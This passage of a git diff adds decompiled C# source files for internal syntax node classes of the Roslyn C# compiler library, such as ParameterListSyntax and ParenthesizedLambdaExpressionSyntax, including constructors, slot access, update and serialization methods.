GreenNodeExtensions.WithAnnotationsGreen(orderingSyntax, (IEnumerable)annotations); + } + return orderingSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new OrderingSyntax(base.Kind, expression, ascendingOrDescendingKeyword, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new OrderingSyntax(base.Kind, expression, ascendingOrDescendingKeyword, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal OrderingSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + if (syntaxToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + ascendingOrDescendingKeyword = syntaxToken; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)ascendingOrDescendingKeyword); + } + + static OrderingSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(OrderingSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new OrderingSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParameterListSyntax.cs new file mode 100644 index 0000000..554ec43 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParameterListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ParameterListSyntax : BaseParameterListSyntax +{ + internal readonly SyntaxToken openParenToken; + + internal readonly GreenNode? parameters; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public override SeparatedSyntaxList Parameters => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(parameters))); + + public SyntaxToken CloseParenToken => closeParenToken; + + internal ParameterListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? parameters, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ParameterListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? parameters, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ParameterListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? parameters, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => parameters, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParameterList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParameterList(this); + } + + public ParameterListSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList parameters, SyntaxToken closeParenToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken == OpenParenToken) + { + SeparatedSyntaxList val = Parameters; + if (!((ref parameters) != (ref val)) && closeParenToken == CloseParenToken) + { + return this; + } + } + ParameterListSyntax parameterListSyntax = SyntaxFactory.ParameterList(openParenToken, parameters, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + parameterListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(parameterListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + parameterListSyntax = GreenNodeExtensions.WithAnnotationsGreen(parameterListSyntax, (IEnumerable)annotations); + } + return parameterListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ParameterListSyntax(base.Kind, openParenToken, parameters, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ParameterListSyntax(base.Kind, openParenToken, parameters, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ParameterListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + parameters = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)parameters); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static ParameterListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ParameterListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ParameterListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParameterSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParameterSyntax.cs new file mode 100644 index 0000000..bccd3a9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParameterSyntax.cs @@ -0,0 +1,230 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ParameterSyntax : BaseParameterSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly TypeSyntax? type; + + internal readonly SyntaxToken identifier; + + internal readonly EqualsValueClauseSyntax? @default; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override TypeSyntax? Type => type; + + public SyntaxToken Identifier => identifier; + + public EqualsValueClauseSyntax? Default => @default; + + internal ParameterSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax? type, SyntaxToken identifier, EqualsValueClauseSyntax? @default, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (@default != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)@default); + this.@default = @default; + } + } + + internal ParameterSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax? type, SyntaxToken identifier, EqualsValueClauseSyntax? @default, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (@default != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)@default); + this.@default = @default; + } + } + + internal ParameterSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax? type, SyntaxToken identifier, EqualsValueClauseSyntax? @default) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (@default != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)@default); + this.@default = @default; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => type, + 3 => identifier, + 4 => @default, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParameter(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParameter(this); + } + + public ParameterSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type, SyntaxToken identifier, EqualsValueClauseSyntax @default) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || type != Type || identifier != Identifier || @default != Default) + { + ParameterSyntax parameterSyntax = SyntaxFactory.Parameter(attributeLists, modifiers, type, identifier, @default); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + parameterSyntax = GreenNodeExtensions.WithDiagnosticsGreen(parameterSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + parameterSyntax = GreenNodeExtensions.WithAnnotationsGreen(parameterSyntax, (IEnumerable)annotations); + } + return parameterSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ParameterSyntax(base.Kind, attributeLists, modifiers, type, identifier, @default, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ParameterSyntax(base.Kind, attributeLists, modifiers, type, identifier, @default, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ParameterSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 5; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + if (typeSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + EqualsValueClauseSyntax equalsValueClauseSyntax = (EqualsValueClauseSyntax)reader.ReadValue(); + if (equalsValueClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsValueClauseSyntax); + @default = equalsValueClauseSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)@default); + } + + static ParameterSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ParameterSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ParameterSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedExpressionSyntax.cs new file mode 100644 index 0000000..269e608 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedExpressionSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ParenthesizedExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal ParenthesizedExpressionSyntax(SyntaxKind kind, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ParenthesizedExpressionSyntax(SyntaxKind kind, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ParenthesizedExpressionSyntax(SyntaxKind kind, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => expression, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParenthesizedExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParenthesizedExpression(this); + } + + public ParenthesizedExpressionSyntax Update(SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + if (openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken) + { + ParenthesizedExpressionSyntax parenthesizedExpressionSyntax = SyntaxFactory.ParenthesizedExpression(openParenToken, expression, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + parenthesizedExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(parenthesizedExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + parenthesizedExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(parenthesizedExpressionSyntax, (IEnumerable)annotations); + } + return parenthesizedExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ParenthesizedExpressionSyntax(base.Kind, openParenToken, expression, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ParenthesizedExpressionSyntax(base.Kind, openParenToken, expression, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ParenthesizedExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static ParenthesizedExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ParenthesizedExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ParenthesizedExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedLambdaExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedLambdaExpressionSyntax.cs new file mode 100644 index 0000000..bae9823 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ParenthesizedLambdaExpressionSyntax.cs @@ -0,0 +1,272 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ParenthesizedLambdaExpressionSyntax : LambdaExpressionSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly TypeSyntax? returnType; + + internal readonly ParameterListSyntax parameterList; + + internal readonly SyntaxToken arrowToken; + + internal readonly BlockSyntax? block; + + internal readonly ExpressionSyntax? expressionBody; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public TypeSyntax? ReturnType => returnType; + + public ParameterListSyntax ParameterList => parameterList; + + public override SyntaxToken ArrowToken => arrowToken; + + public override BlockSyntax? Block => block; + + public override ExpressionSyntax? ExpressionBody => expressionBody; + + internal ParenthesizedLambdaExpressionSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax? returnType, ParameterListSyntax parameterList, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 7; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + if (returnType != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowToken); + this.arrowToken = arrowToken; + if (block != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + } + + internal ParenthesizedLambdaExpressionSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax? returnType, ParameterListSyntax parameterList, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 7; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + if (returnType != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowToken); + this.arrowToken = arrowToken; + if (block != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + } + + internal ParenthesizedLambdaExpressionSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, TypeSyntax? returnType, ParameterListSyntax parameterList, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + : base(kind) + { + ((GreenNode)this).SlotCount = 7; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + if (returnType != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnType); + this.returnType = returnType; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowToken); + this.arrowToken = arrowToken; + if (block != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => returnType, + 3 => parameterList, + 4 => arrowToken, + 5 => block, + 6 => expressionBody, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitParenthesizedLambdaExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitParenthesizedLambdaExpression(this); + } + + public ParenthesizedLambdaExpressionSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax returnType, ParameterListSyntax parameterList, SyntaxToken arrowToken, BlockSyntax block, ExpressionSyntax expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || returnType != ReturnType || parameterList != ParameterList || arrowToken != ArrowToken || block != Block || expressionBody != ExpressionBody) + { + ParenthesizedLambdaExpressionSyntax parenthesizedLambdaExpressionSyntax = SyntaxFactory.ParenthesizedLambdaExpression(attributeLists, modifiers, returnType, parameterList, arrowToken, block, expressionBody); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + parenthesizedLambdaExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(parenthesizedLambdaExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + parenthesizedLambdaExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(parenthesizedLambdaExpressionSyntax, (IEnumerable)annotations); + } + return parenthesizedLambdaExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ParenthesizedLambdaExpressionSyntax(base.Kind, attributeLists, modifiers, returnType, parameterList, arrowToken, block, expressionBody, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ParenthesizedLambdaExpressionSyntax(base.Kind, attributeLists, modifiers, returnType, parameterList, arrowToken, block, expressionBody, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ParenthesizedLambdaExpressionSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 7; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + if (typeSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + returnType = typeSyntax; + } + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + arrowToken = syntaxToken; + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + if (blockSyntax != null) + { + 